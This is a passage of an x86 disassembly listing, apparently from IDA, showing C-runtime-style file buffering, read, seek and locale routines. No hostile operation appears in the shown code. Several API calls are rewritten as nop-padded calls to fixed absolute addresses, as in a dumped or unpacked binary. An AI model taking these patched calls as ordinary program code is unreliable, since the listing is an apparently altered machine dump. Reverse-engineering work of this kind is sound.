		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------

loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------

loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------

loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4CECE0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------

loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_4362F0

loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h

loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4CEDE0
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4CECE0h[eax*4]
		mov	eax, dword_4CECE0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2631104h
		test	eax, eax
		jnz	short loc_41E3E9
		nop
		call	near ptr 265031Fh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_4CD9B4, 9
		mov	dword_4CD9B8, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD

loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------

loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------

loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh

loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3

loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------

loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2631104h
		test	eax, eax
		jnz	short loc_41E48A
		call	near ptr 265031Fh
		nop
		test	eax, eax
		jnz	short loc_41E4D1

loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC

loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------

loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5

loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh

loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi

loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------

loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al

loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------

loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9

loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh

loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4CEDE0
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_4CD9B4, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 26D0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		nop
		call	near ptr 265031Fh
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------

loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax

loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------

loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9

loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh

loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx

loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4CECE0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx

loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]

loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------

loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_4CD9B4, 16h

loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------

loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]

loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------

loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------

loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7

loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]

loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]

loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4CDA60, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_4CDA60, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------

loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_436EF4
		push	esi
		push	edi
		call	near ptr 2860000h
		nop
		test	eax, eax
		jz	loc_41E897
		mov	dword_4CDA60, 2

loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_4CDA60
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2860000h
		jmp	loc_41E899
; ---------------------------------------------------------------------------

loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax

loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2870000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		test	eax, eax
		jnz	loc_41E926

loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax

loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------

loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27B0000h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897

loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4CEDE4
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_436010

loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_436100
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2871205h
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CEF00
		cmp	[ebp+var_18], 1
		mov	dword_4CEDE4, esi
		rep stosd
		stosb
		mov	dword_4CF004, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]

loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_4CEF01[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------

loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CEF00
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_436020[esi]

loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26

loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_436008[edx]

loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_4CEF01[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14

loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA

loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_4CEDFC, 1
		push	eax
		mov	dword_4CEDE4, eax
		call	sub_41EB10
		lea	esi, dword_436014[esi]
		mov	edi, offset dword_4CEDF0
		movsd
		movsd
		pop	ecx
		mov	dword_4CF004, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4

loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax

loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_4CEF01[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_4CF004, eax
		mov	dword_4CEDFC, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------

loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_4CEDFC, ebx

loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_4CEDF0
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_4CDA64, ebx
		jz	short loc_41EABE

loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43

